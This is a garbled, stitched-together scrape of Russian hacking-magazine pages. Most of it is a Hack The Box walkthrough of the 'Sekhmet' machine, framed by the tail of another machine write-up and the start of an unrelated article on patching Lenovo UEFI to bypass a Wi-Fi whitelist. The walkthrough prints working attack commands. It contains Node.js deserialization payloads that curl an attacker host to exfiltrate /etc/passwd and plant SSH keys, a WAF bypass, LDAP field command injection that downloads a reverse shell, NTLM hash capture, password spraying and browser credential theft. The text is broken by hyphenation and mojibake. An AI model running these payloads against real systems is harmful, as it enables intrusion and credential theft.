Пер вым делом прог рамма про веря ет количес тво аргу мен тов (стро ка 10), их
дол жно быть два. Затем про исхо дит про вер ка кон тек ста работы (стро- 
ка 15) — если запуск был не в при виле гиро ван ном кон тек сте, прог рамма
завер шает свое выпол нение. В стро ке 20 про веря ется вто рой аргу мент, он
дол жен быть равен ука зан ной стро ке. Если все про вер ки прой дены, прог- 
рамма выпол нит зап рос на ука зан ный в пер вом аргу мен те URL (стро ки 27–
36) и затем получен ные дан ные передаст как аргу мент коман де  (стро- 
ки 37–45).

perl

Соз дадим на сво ем сер вере файл, содер жащий шелл на Perl, что бы пос ле
про хож дения всех про верок получить коман дную обо лоч ку в при виле гиро ван- 
ном кон тек сте.

 exec "/bin/bash";

Те перь выпол няем прог рамму и получа ем сес сию от име ни поль зовате ля
.root

sudo /usr/bin/binary http://10.10.14.78/rshell.pl lDnxUysaQn 

Флаг рута

Ма шина зах вачена! © X
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ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать уяз вимость при десери али зации
Node.js с обхо дом ModSecurity. Затем взло- 
маем ZIP-архив и бла года ря Kerberos
повысим при виле гии на пер вом хос те. Пос- 
ле это го зах ватим кон трол лер домена, про- 
экс плу ати ровав RCE.

Все это — в рам ках про хож дения тре ниро воч ной машины Sekhmet с пло щад- 
ки . Ее уро вень слож ности — «безум ный».Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Пер вым делом добав ляем IP-адрес машины в :/etc/hosts

10.10.11.179    sekhmet.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим два откры тых пор та: 22 — служ ба OpenSSH 8.4p1 и 80 — веб-сер вер
Nginx 1.18.0. При обра щении к веб-сер веру сра зу выпол няет ся редирект
на дру гой домен.

Burp History

До бав ляем его в файл  и сно ва обра щаем ся к сай ту./etc/hosts

10.10.11.179 sekhmet.htb windcorp.htb 

Глав ная стра ница сай та windcorp.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те ничего инте рес ного не находим. Но, учи тывая, что мы наш ли реаль- 
ное домен ное имя, есть смысл прос каниро вать под домены. Я это делаю
с помощью ска нера .ffuf

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — выпол нять редирек ты;• -r

 — филь тро вать стра ницы по раз меру;• -fs

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Мес то перебо ра помеча ется сло вом FUZZ.

По луча ется вот такая коман да:

ffuf     
 256  153 

-u 'http://windcorp.htb/' -H 'Host: FUZZ.windcorp.htb' -w 
subdomains-top1million-110000.txt -t -fs

Ре зуль тат ска ниро вания под доменов с помощью ffuf

В ито ге находим еще один сайт и добав ляем его в файл ./etc/hosts

10.10.11.179 sekhmet.htb windcorp.htb portal.windcorp.htb 

Стра ница авто риза ции на portal.windcorp.htb

Сле дующее дей ствие при изу чении сай та — поиск скры тых катало гов и стра- 
ниц. Я сно ва поп робовал исполь зовать ffuf, но это не дало резуль татов, так
как, ско рее все го, про веря ются заголов ки. Что бы не мучить ся с ними, я стал
ска ниро вать при помощи .Burp Intruder

Ре зуль тат ска ниро вания катало гов в Burp Intruder

И сно ва ничего инте рес ного. У нас оста лась толь ко фор ма авто риза ции,
поэто му поп робу ем ее обой ти. Нас коль ко велико было мое удив ление, ког да
получи лось авто ризо вать ся с логином и паролем !admin:admin

Глав ная стра ница авто ризо ван ного поль зовате ля

За тем мое вни мание прив лекли cookie поль зовате ля. Ока залось, что
это закоди рован ные в Base64 дан ные в фор мате JSON. В целом по виду
cookie очень похоже, что исполь зует ся Node.js. И мы можем утвер ждать, что
на сто роне сер вера про исхо дит десери али зация и исполь зование этих дан- 
ных.

Де коди рова ние cookie в Burp Inspector

Поп робу ем поис кать под ходящие уяз вимос ти. Я без тру да нагуг лил статью
, где опи сано,

как выявить и про экс плу ати ровать уяз вимость при десери али зации дан ных
в Node.js. Я соб рал и закоди ровал наг рузку, сле дуя рекомен даци ям из статьи,
но мой зап рос был заб локиро ван.

Exploiting Node.js deserialization bug for Remote Code Execution

Со обще ние о бло киров ке зап роса

В тек сте стра ницы находим упо мина ние , который и бло киру ет
нам дос туп.

ModSecurity

Ин форма ция о защите сай та

Это оче ред ное зве но цепоч ки, про дол жаем раз бирать ся с сай том и вник нем
в Node.js более под робно.

ÒÎ×ÊÀ ÎÏÎÐÛ
Node.js RCE + áàéïàñ ModSecurity
ModSecurity — это WAF с откры тым исходным кодом. Имен но ModSecurity
не дает нам подоб рать ся к при ложе нию. Но иног да и в самих WAF находят
уяз вимос ти. Так, быс трый поиск в Google вывел меня на , где рас ска- 
зано о CVE-2019-19886, поз воля ющей обой ти ModSecurity. Уда лось даже
най ти целый  для этой уяз вимос ти. Ее смысл зак люча ется в том, что мы
исполь зуем ошиб ку в пар сере ModSecurity и как бы пря чем наг рузку, переда- 
вая cookie  сле дующим обра зом:

статью

PoC

param=payload

param=payload=real_value 

Тог да при ложе ние рас парсит куки как , а WAF — как 
, что поз волит миновать филь тры.

param:payload param:
payload=value

Для экс плу ата ции RCE в Node.js нам нуж но передать наг рузку через
параметр  в сле дующей конс трук ции:username

{"username":"_$$ND_FUNC$$_function(){}()"}

За тем закоди руем ее в Base64 и вста вим в cookie как 
.

profile=payload=val-
ue

Пер вым делом откро ем лис тенер  и поп робу ем выпол нить
зап рос на свой сер вер через curl:

nc -nlvp 80

 
{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("
curl http://10.10.14.29", function(error, stdout, stderr){});}()"}'

Ис ходное зна чение cookie

Ито говый зап рос на сер вер

Ло ги лис тенера

В ито ге на наш лис тенер при шел зап рос, а это зна чит, что мы добились RCE.
Выпол нить реверс-шелл не получи лось, поэто му поп робу ем записать ключ
SSH. Нам нуж но знать имя поль зовате ля, которо го мы исполь зуем для выпол- 
нения команд. Его мож но эксфиль тро вать, закоди ровав в Base64 резуль тат
выпол нения коман ды  и вста вив его как URI.id

 
{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("
curl http://10.10.14.29/$(id|base64 -w0)", function(error, stdout, 
stderr){});}()"}

Ло ги лис тенера

Ло ги лис тенера

Так мы получа ем имя текуще го поль зовате ля. Теперь узна ем, име ет ли он
дос туп к коман дной обо лоч ке, для чего получим запись из фай ла 

.
/etc/pass-

wd

 
{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("
curl http://10.10.14.29/$(cat /etc/passwd| grep webster|base64 -w0)
", function(error, stdout, stderr){});}()"}

Ло ги лис тенера

Поль зователь име ет коман дную обо лоч ку, теперь можем записы вать ключ
SSH. Для это го сге нери руем пару клю чей с помощью ssh-keygen и запус тим
в катало ге с клю чами веб-сер вер Python 3:

python3 -m http.server 80 

За тем ска чаем ключ и запишем в файл .authorized_keys

 
{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("
curl http://10.10.14.29/id_rsa.pub > ~/.ssh/authorized_keys", 
function(error, stdout, stderr){});}()"}

Как толь ко в логах веб-сер вера уви дим обра щение к пуб лично му клю чу, мож- 
но авто ризо вать ся по SSH.

Сес сия поль зовате ля webserver

ÏÐÎÄÂÈÆÅÍÈÅ WEBSERVER.WINDCORP.HTB
В домаш нем катало ге поль зовате ля находим бэкап, который ска чива ем
на локаль ную машину.

scp -i id_rsa webster@10.10.11.179:~/backup.zip ./ 

Со дер жимое архи ва backup.zip

Ви дим нес коль ко инте рес ных фай лов, но архив защищен паролем, при этом
прос мотр спис ка фай лов раз решен. Схе ма с получе нием хеша и его даль- 
нейшим перебо ром у таких архи вов не сра бота ет, но мож но про вес ти ата ку
на осно ве извес тно го откры того тек ста.

Zip decrypt
Для такой ата ки нужен извес тный нам файл, который так же есть в архи ве. Я
выб рал файл . Его нуж но заар хивиро вать — тоже с паролем (я
выб рал ) — и ска чать на локаль ную машину. Ког да все будет готово,
мы можем вос поль зовать ся ути литой . Пер вом делом получим ключ,
для чего ука жем целевой архив (параметр ), извес тный файл (параметр ),
наш архив (параметр ) и пароль от него (параметр ).

/etc/passwd
passwd

bkcrack

-C -с
-P -p

./bkcrack -C backup.zip -c etc/passwd -P passwd.zip -p passwd 

По луче ние клю ча шиф рования

А теперь уста нав лива ем на архив новый пароль.

./bkcrack -C backup.zip -U new.zip new -k d6829d8d 8514ff97 afc3f825 

Рас шифро выва ние архи ва

Те перь откры ваем  с паролем  и выбира ем инте рес ные фай лы,
нап ример фай лы кеша Kerberos.

new.zip new

Со дер жимое архи ва new.zip

А теперь выбира ем из фай лов все стро ки и находим учет ные дан ные в фай ле
.cache_windcorp.htb.ldb

Ло гин поль зовате ля

Хеш пароля поль зовате ля

Те перь узна ем режим для перебо ра хеша. Это мож но сде лать, поис кав мар- 
кер в справ ке hashcat.

 |    hashcat --example grep '\$6\$' -A2 -B2

По иск типа хеша

Та ким обра зом, это хеш SHA-512, для которо го нуж но ука зывать режим 1800
(параметр ).-m

 0 hashcat -a -m 1800 ray.hash rockyou.txt 

Ре зуль тат перебо ра хеша

По луча ем пароль, с которым успешно авто ризу емся на хос те по SSH.

Сес сия поль зовате ля ray.duncan

Продолжение статьи →
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ WEBSERVER.WINDCORP.HTB
Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Я для это го обыч но исполь зую скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему
на авто мате.

Privilege Escalation Awe-
some Scripts SUITE

Заг рузим и выпол ним скрипт для Linux и с его помощью най дем адрес
еще одной машины в сети, а так же узна ем, что наш хост находит ся в домене.

Со дер жимое фай ла /etc/hosts

Ин форма ция Kerberos

Так как мы в домене, поп робу ем получить и кеширо вать билет TGT для нашего
поль зовате ля с помощью коман ды kinit. А затем про верим, мож но ли получить
при виле гиро ван ный кон текст с помощью ksu (ана лог обыч ного su
для Kerberos).

Сме на кон тек ста поль зовате ля

Этот поль зователь может изме нить кон текст безопас ности и получить
высокие при виле гии на хос те. Забира ем пер вый поль зователь ский флаг.

Флаг поль зовате ля

ÐÀÇÂÅÄÊÀ Â ÑÅÒÈ WINDCORP.HTB
Ра нее мы наш ли хост . Нуж но его прос каниро вать; ско рее все- 
го, это кон трол лер домена. Я заг рузил на хост 
и запус тил ска ниро вание пор тов.

windcorp.htb
ста тичес ки соб ранный Nmap

nmap -p- 192.168.0.2 

Ре зуль тат ска ниро вания пор тов

Дос тупен Kerberos, но зап рещен RPC, поэто му для даль нейшей работы
получим билет уже извес тно го нам поль зовате ля ray.duncan. Что бы мы мог ли
работать с кон трол лером домена нап рямую со сво ей машины, нуж но про- 
кинуть тра фик через про межу точ ный хост. Для это го мож но исполь зовать
стан дар тный SSH. Копиру ем ключ SSH руту, а затем ука зыва ем при под клю- 
чении параметр , который ска жет соз дать SOCKS-тун нель.-D

ssh -i id_rsa root@10.10.11.179 -D 1080 

За тем в фай ле  соз дадим запись для соз данно го
тун неля.

/etc/proxychains.conf

socks5 127.0.0.1 1080 

А теперь сде лаем TGS-билет Kerberos для нашего поль зовате ля, что бы прос- 
мотреть дос тупные общие катало ги. Для это го будем исполь зовать скрипт

 из пакета скрип тов .getST impacket

proxychains -q impacket-getST -dc-ip 192.168.0.2 -spn cifs/hope.
windcorp.htb windcorp.htb/ray.duncan:pantera 

По луче ние TGS для служ бы CIFS

Эк спор тиру ем билет в локаль ное окру жение и под клю чаем ся к служ бе SMB.

export KRB5CCNAME=ray.duncan.ccache 
 proxychains -q impacket-smbclient ray.duncan@hope.windcorp.htb -k

-no-pass

Об щие ресур сы

Сре ди этих катало гов наибо лее инте ресен поль зователь ский .WC-Share

Со дер жимое катало га WC-Share

Файл в этом катало ге содер жит малень кий спи сок поль зовате лей и какие-то
чис ла.

Со дер жимое фай ла debug-users.txt

Не получив ничего боль ше, я решил прой тись по LDAP, но перед этим нуж но
про верить, дос тупна ли аутен тифика ция через Kerberos. Эту работу я про- 
водил с про межу точ ного хос та, так как Kerberos там уже нас тро ен.

    ldapsearch -x -LLL -b "" -s base supportedSASLMechanisms -H ldap:/
windcorp.htb | grep GSSAPI 

Ре зуль тат выпол нения зап роса

Сре ди под держи ваемых механиз мов аутен тифика ции есть GSSAPI. Про верим
это, узнав свой рабочий кон текст при аутен тифика ции Kerberos для LDAP.

ldapwhoami -Y GSSAPI -H ldap://windcorp.htb 

Ре зуль тат выпол нения ldapwhoami

Все под твер дилось, и мы успешно авто ризо вались как текущий поль зователь.
Теперь собира ем все, что нам даст LDAP, и сох раня ем в файл.

  ldapsearch -LLLY GSSAPI -b 'DC=windcorp,DC=htb' -H ldap://windcorp.
htb > scan.txt 

Дамп базы LDAP

Прос матри вая информа цию о текущем поль зовате ле, я обра тил вни мание
на его номер телефо на, который был записан в файл  вмес- 
те с име нем поль зовате ля.

debug-users.txt

Па рамет ры поль зовате ля Ray.Duncan

Вер нувшись к обще му катало гу, обра тим вни мание на то, что файл обновля- 
ется каж дые две минуты.

Со дер жимое обще го катало га

Воз можно, на хос те работа ет скрипт, который получа ет записи из LDAP
и записы вает в файл. Поп робу ем выпол нить инъ екцию коман ды ОС.

HOPE.WINDCORP.HTB
Вы пол ним зап рос на свой хост и про верим пред положе ние о внед рении
коман ды. Спер ва соз дадим файл с пра вилом замены. Ука жем в нем иден- 
тифика тор, дей ствие, поле и новое зна чение.

dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb 
changetype: modify 
replace: mobile 
mobile: ;wget http://10.10.14.173/file -O c:\wc-share\file; 

Те перь изме ним номер в базе LDAP, ука зав файл с соз данным пра вилом.

 
 

ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,
OU=Development,DC=windcorp,DC=htb" -f new.rec 

Из менение записи в базе LDAP

Спус тя минуту в логах веб-сер вера Python 3 видим при шед ший зап рос, а в
общем катало ге на сер вере появил ся наш файл.

Ло ги веб-сер вера

Со дер жимое обще го ресур са

Вы пол нить реверс-шелл на PowerShell не вый дет, так как раз мер поля огра- 
ничен и шелл прос то не помес тится в него. Тог да я решил эксфиль тро вать
резуль тат выпол нения коман ды через файл. Изме ним нашу запись, что бы она
выпол няла коман ду  и записы вала резуль тат в файл.whoami

mobile: ;whoami > c:\wc-share\r.txt 

Ре зуль тат выпол нения коман ды whoami

Та ким обра зом коман да выпол нилась. Но скрип ты, которые я заг рузил,
не работа ли. Тог да я решил взгля нуть на полити ки AppLocker.

   c: .txt mobile: ;Get-AppLockerPolicy -Effective -Xml > \wc-share\r

По лити ки AppLocker для скрип тов

По лити ки для скрип тов и исполня емых фай лов оди нако вы и раз реша ют
выпол нение фай лов из катало га  и всех его вло жен ных катало- 
гов, за исклю чени ем перечис ленных. Изу чив записи, мож но заметить, что
в исклю чении не ука зан каталог . Тог да я решил соб- 
рать реверс-шелл самос тоятель но. Для это го мож но исполь зовать удоб ный

. Ука зыва ем парамет ры, такие
как локаль ные хост и порт, а так же язык (я выб рал C#) и целевую сис тему.

C:\Windows\

C:\Windows\debug\wia\

он лай новый генера тор реверс-шел лов

Online Reverse Shell Generator

Со бира ем файл и заг ружа ем в ука зан ный каталог.

 c: ebug ia a.exemobile: ;wget http://10.10.14.3/ca.exe -O \windows\d \w \c
;

Пос ле того как на наш веб-сер вер при шел зап рос, откры ваем лис тенер
и выпол няем ска чан ный файл.

mobile: ;c:\windows\debug\wia\ca.exe; 

Соз данная сес сия

Сес сия появи лась, сра зу про веря ем кон текст работы, зап росив всю
информа цию о поль зовате ле.

Ин форма ция о текущем поль зовате ле

ÏÐÎÄÂÈÆÅÍÈÅ HOPE.WINDCORP.HTB
Зай мем ся базовой раз ведкой, есть выбор: мож но исполь зовать скрип ты
на PowerShell вро де , зна мени тый  или более спе циали зиро- 
ван ный . Я исполь зовал Seatbelt, для чего уже соб ранную вер сию
из  заг рузил на хост.

PowerUp WinPEAS
Seatbelt

ре пози тория
Спер ва запус каем скрипт с парамет ром , что бы переб рать

сис темные нас трой ки.
-group=system

Ло ги Seatbelt

Как видишь, на хос те акти виро вана аутен тифика ция NTLM, поэто му мы можем
обра тить ся к собс твен ному ресур су и получить NetNTLMv2-хеш пароля поль- 
зовате ля, так как он по умол чанию попыта ется авто ризо вать ся. Возь мем
с  ском пилиро ван ный исполня емый файл impacket smbserver и заг- 
рузим на уда лен ный хост Linux. Затем раз вернем прос той сер вер SMB.

GitHub

 asd ./smbserver_linux_x86_64 -smb2support .

Ког да все будет готово, оста нет ся толь ко обра тить ся к обще му ресур су.
В логах сер вера уви дим учет ные дан ные, исполь зован ные при под клю чении.

dir \\webserver.windcorp.htb\asd\

Ло ги SMB-сер вера impacket

Па роли такого типа мож но подоб рать очень быс тро. Я для это го исполь зую
.hashcat

hashcat -m 5600 ntlm.hash rockyou.txt 

Ре зуль тат перебо ра хеша

Так мы получа ем пароль поль зовате ля scriptrunner. Нуж но обя затель но про- 
верить, не исполь зуют ли этот пароль дру гие учет ные записи и поль зовате ли.
У нас уже есть база LDAP, отфиль тру ем име на поль зовате лей и нап равим
в отдель ный файл.

    |     
2 
cat scan.txt | grep -i samaccountname | grep -v '\$' cut -d ' ' -f
> users.txt 

А теперь спре им пароль по всем поль зовате лям из фай ла с помощью 
.

ker�
brute

./kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt 
'!@p%i&J#iNNo1T2'

Ре зуль тат спрея пароля

Мы наш ли еще одно го поль зовате ля. Давай получим шелл от его име ни стан- 
дар тным спо собом через . Будем запус кать наш исполня- 
емый файл, поэто му пред варитель но не забыва ем запус тить еще один лис- 
тенер на том же пор те.

New-PSSessions

$pass = ConvertTo-SecureString '!@p%i&J#iNNo1T2' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('Bob.
Wood', $pass)
$session = New-PSSession -Credential $creds
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\
ca.exe }

Сес сия поль зовате ля Bob.Wood

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ HOPE.WINDCORP.HTB
Мы заш ли от име ни дру гого поль зовате ля, но нет смыс ла сно ва про верять
все воз можнос ти повыше ния при виле гий. Мож но про верить толь ко парамет- 
ры, спе цифич ные для отдель ного поль зовате ля. В Seatbelt исполь зуем
параметр . В поле  будет исто рия зап росов поль- 
зовате ля из бра узе ра.

-group=misc ChromeHistory

Ис тория зап росов из бра узе ра

Что бы «рас потро шить» любой бра узер на полез ные для ата кующе го дан ные,
мож но исполь зовать написан ную на Go ути литу . Заг ружа ем
исполня емый файл на уда лен ный хост и запус каем.

HackBrowserData

Ло ги HackBrowserData

HBD обна ружил и экспор тировал все дан ные из бра узе ра Edge. Пер вым
делом нас инте ресу ют сох ранен ные учет ные дан ные.

Сох ранен ные учет ные дан ные

Спи сок поль зовате лей у нас есть, теперь получа ем еще и пароли. Спре им
получен ные пароли по всем поль зовате лям.

kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt 
'smeT-Worg-wer-m024'

Ре зуль тат спрея пароля

В ито ге получа ем учет ные дан ные еще одно го поль зовате ля (при этом с при- 
пис кой ). Конеч но, соз даем реверс-шелл в его кон тек сте.adm

$pass = ConvertTo-SecureString 'smeT-Worg-wer-m024' -AsPlainText 
-Force
$creds = New-Object System.Management.Automation.PSCredential('bob.
woodadm', $pass)
$session = New-PSSession -Credential $creds
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\
ca.exe }

Ин форма ция о поль зовате ле

Как мож но заметить, поль зователь вхо дит в груп пу адми нис тра торов домена.
Забира ем флаг рута.

Флаг рута

Ма шина зах вачена! © X

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
https://github.com/SecureAuthCorp/impacket
https://www.revshells.com/
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://github.com/GhostPack/Seatbelt
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
https://github.com/ropnop/impacket_static_binaries/releases
https://github.com/ropnop/kerbrute
https://github.com/moonD4rk/HackBrowserData/releases
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ТРЮКИ

Есть катего рия людей, которые счи тают, что
из тех ники нуж но выжимать все 100% ее
потен циала, то есть она дол жна работать
до тех пор, пока окон чатель но не истле ет.
Сегод няшняя статья — имен но для них. Мы
про апгрей дим Wi-Fi в ноут буке Lenovo
G710 и отклю чим white list, даже не вос поль- 
зовав шись ассем бле ром.

Все началось с того, что я при обрел себе ноут Dell Vostro 5301. И вот в один
прек расный день, гоняя по локал ке оче ред ной десяток гигабайт, я подумал,
что, имея роутер с Wi-Fi 5 и ноут с его под дер жкой, глу по его не исполь зовать
на всю катуш ку. Я вклю чил на роуте ре Wi-Fi 5, поп робовал, и мне пон- 
равилось.

ÒÐÅÍÈÐÓÅÌÑß ÍÀ ÊÎØÊÀÕ

Но воз никла одна проб лема: осталь ные ноуты в моей сети не уме ли Wi-Fi 5,
поэто му, посидев и подумав, я решил, что приш ла пора апгрей да. Обно вить
пред сто яло два аппа рата: огры зок ASUS X553MA, который тру дит ся у меня
фай лопомой кой, и Lenovo G710, которым поль зует ся жена. Это как раз тот
слу чай, ког да из короб ки нет драй веров, их приш лось тянуть с , бла го
про вод ной адап тер на ноут буке завел ся.

AUR

Па мятуя о проб лемах с род ной вай файкой Lenovo G710, я решил выб рать
заведо мо бес проб лемный адап тер Intel Wireless 7260, для которо го в ядре
Linux есть драй веры. Так же я заранее учел, что в Lenovo G710 и ASUS X553MA
раз ные разъ емы PCI Express для под клю чения адап теров и что со сме ной
адап тера в ASUS при дет ся поменять еще и антенну. Сме на антенны необ- 
ходима из-за раз ных разъ емов на род ном и новом адап терах. Кро ме того,
в X553MA уста нов лена лишь одна антенна main (эко номия, одна ко), а новый
адап тер пре дус матри вает под клю чение двух антенн, основной и вспо мога- 
тель ной. Бла го сто ят они недоро го и уста нав лива ются эле мен тарно. Вот так
это доб ро выг лядит.

Адап тер Wi-Fi для Lenovo G710

Адап тер Wi-Fi для ASUS X553MA

Но вая антенна для ASUS X553MA

Приш ло вре мя все это дело уста новить и под клю чить. Пер вым на оче реди
был ASUS X553MA, и с ним, к моему удив лению, все прош ло глад ко: адап тер
встал, зарабо тал, и сис тема его сра зу же под хва тила, приш лось толь ко имя
адап тера в юни те  и  поменять.wpa_supplicant dhcpcd

ÂÀÉÒËÈÑÒ È ÂÅÍÄÎÐËÎÊ

А вот с Lenovo G710 получи лось гораз до веселее: там в биосе есть вен- 
дорлок. При началь ной заг рузке UEFI опре деля ет уста нов ленный адап тер
и ищет его в white list’е, зашитом про изво дите лем. Сто ит ли говорить, что Intel
Wireless 7260 там не ока залось и ноут бук встре тил меня радос тным сооб- 
щени ем.

Error

В прин ципе, я к это му был готов еще на эта пе пла ниро вания апгрей да,
но успех с ASUS все лил в меня надеж ду, что замена адап тера может про- 
катить. Не про кати ло…

По иск в гуг ле показал, что проб лема в целом извес тная и лечит ся переп- 
рошив кой биоса про пат ченной вер сией, которую мож но поис кать в интерне- 
те. К нес частью, биоса для моей модели не наш лось, остался пос ледний
вари ант: ковырять UEFI самос тоятель но.

В сети в целом есть ряд неп лохих ману алов на тему обхо да white list’а, нап- 
ример на  (изоб ражение экра на я взял отту да, пос коль ку мое не сох- 
ранилось), и там нет ничего зап редель но слож ного. Надо рас паковать UEFI,
най ти там учас ток с тек стом ошиб ки, пос мотреть, какая фун кция на него ссы- 
лает ся, и заменить один из условных перехо дов дру гим условным перехо- 
дом — или безус ловным перехо дом, тут есть некото рая вари атив ность. Сму- 
щали меня во всем этом две вещи: во-пер вых, боль шинс тво ману алов
заточе ны под вин довый софт, во-вто рых, с ассем бле ром я, мяг ко говоря,
на вы.

Хаб ре

Нес коль ко углу бив шись в тему, я узнал про замеча тель ную прог рамму 
 и нашел пару при меров по работе с ней:  и . Это приб- 

лизило меня к решению проб лемы, одна ко рекомен дации во всех при веден- 
ных выше источни ках носили ско рее общий харак тер. И вот тут я нат кнул ся
на  авто ра под ником p0358, опи сыва ющую в под робнос тях,
как он ковырял UEFI сво его Lenovo G510, решая ту же проб лему, что и я.

UE-
FITool часть 1 часть 2

от личную статью

Пос ле ее проч тения ста новит ся понят но, как най ти завет ное мес то,
в котором нуж но испра вить  на , что бы обой ти white list. От себя могу
добавить, что при седа ния авто ра с исполь зовани ем двух вер сий UEFITool
излишни, впол не мож но обой тись и акту аль ной вер сией. Кро ме того, в нас- 
тоящее вре мя бес плат ная вер сия деком пилято ра  уме ет работать
с UEFI-бинар никами, так что без IDA Pro тоже мож но обой тись. Но глав ная
фича этой статьи зак люча ется в том, что автор обна ружил в коде UEFI Lenovo
G510 перемен ные, которые отклю чают white list вов се, и это очень упро щает
все мероп риятие.

jz jmp

IDA Free

Те самые перемен ные в бинар нике

Ко неч но, Lenovo G510 — это не G710, одна ко они ровес ники и, счи тай,
из одной линей ки, поэто му я понаде ялся, что их про шив ки не дол жны замет но
отли чать ся и про пат чить биос удас тся малой кровью. Забегая впе ред, ска жу,
что так все и получи лось.

Мо дифи кация UEFI ноут бука, как, впро чем,
и ковыря ние в его пот рохах шалов ливыми ручон- 
ками, лег ко могут окир пичить устрой ство. А при
удач ном сте чении обсто ятель ств — физичес ки
вывес ти его из строя. Поэто му все ниже опи сан- 
ные манипу ляции ты про изво дишь на свой страх
и риск. Пра вовой ста тус дан ных манипу ляций
тоже сом нитель ный.

ÎÒ ÒÅÎÐÈÈ Ê ÏÐÀÊÒÈÊÅ

Итак, что бы модифи циро вать про шив ку, ее нуж но сна чала извлечь с флеш ки
UEFI. Это мож но сде лать сугубо прог рам мны ми метода ми, хотя у меня с нас- 
кока этот финт не вышел. Тем не менее в любом слу чае надо дер жать
под рукой прог рамма тор, так как веро ятность накося чить здесь ненуле вая,
а ожи вить окир пичен ный ноут без прог рамма тора уже не вый дет. Я исполь- 
зовал прог рамма тор на CH341: дешево и сер дито, кро ме того, он сов местим
с удоб ной ути литой .ashrom

Прог рамма тор на CH341

На пред став ленном изоб ражении лег ко заметить при щеп ку для мало инва зив- 
ного под клю чения к мик росхе ме ash-памяти и переход ник для под клю чения
при щеп ки. Разуме ется, надеж нее и в некото ром смыс ле пра виль нее отпа ять
мик росхе му, про шить и запа ять обратно, одна ко я человек ленивый и пред- 
почитаю сна чала испро бовать вари ант поп роще. При мене ние при щеп ки
имен но такой вари ант: она, конеч но, нес коль ко кап ризна и не всег да дает
надеж ный кон такт, но раза со вто рого-треть его все обыч но получа ется.

Ис поль зуя при щеп ку, очень вни матель но сле ди
за пра виль ностью под клю чения мик росхе мы
к прог рамма тору (осо бен но вывод Vcc), ошиб ка
может при вес ти к перепо люсов ке питания с весь- 
ма печаль ными пос ледс тви ями. Так что тут луч ше
триж ды все про верить перед вклю чени ем прог- 
рамма тора. Сож женная до сня тия дам па мик- 
росхе ма ash — это epic fail.

С прог рамма тором разоб рались, теперь надо доб рать ся до самой флеш ки.
У Lenovo G710 это не очень при ятный про цесс: пот ребу ется поч ти пол ная раз- 
борка аппа рата. Самое смеш ное, что у это го ноута сни зу удоб но сни маемая
крыш ка, ее уда ление поз воля ет лег ко почис тить сис тему охлажде ния,
заменить память, хард и даже проц при желании (да, он там не рас паян ный),
а вот флеш ка UEFI рас положе на с дру гой сто роны пла ты, под кла виату рой.
Поэто му вер хнюю панель и кла виату ру при дет ся снять. Рас положе ние флеш- 
ки UEFI показа но на фотог рафии.

Рас положе ние флеш ки UEFI Lenovo G710

Те перь мож но под клю чить к ней при щеп ку и все еще раз про верить.

При щеп ка, под клю чен ная к флеш ке UEFI

Ес ли все сде лано пра виль но, вклю чаем прог рамма тор и сни маем дамп
с флеш ки. Прог рамма тор, конеч но, верифи циру ет счи тан ный дамп, но я
для пол ного душев ного спо кой ствия счи тал его дваж ды и срав нил резуль таты
с помощью . Про писы вать тип флеш ки нет осо бой нуж ды: ashrom и сам
ее прек расно опре деля ет.

diff

sudo flashrom --programmer ch341a_spi -r down_g710-1.bin 
sudo flashrom --programmer ch341a_spi -r down_g710-2.bin 
diff down_g710-1.bin down_g710-2.bin 

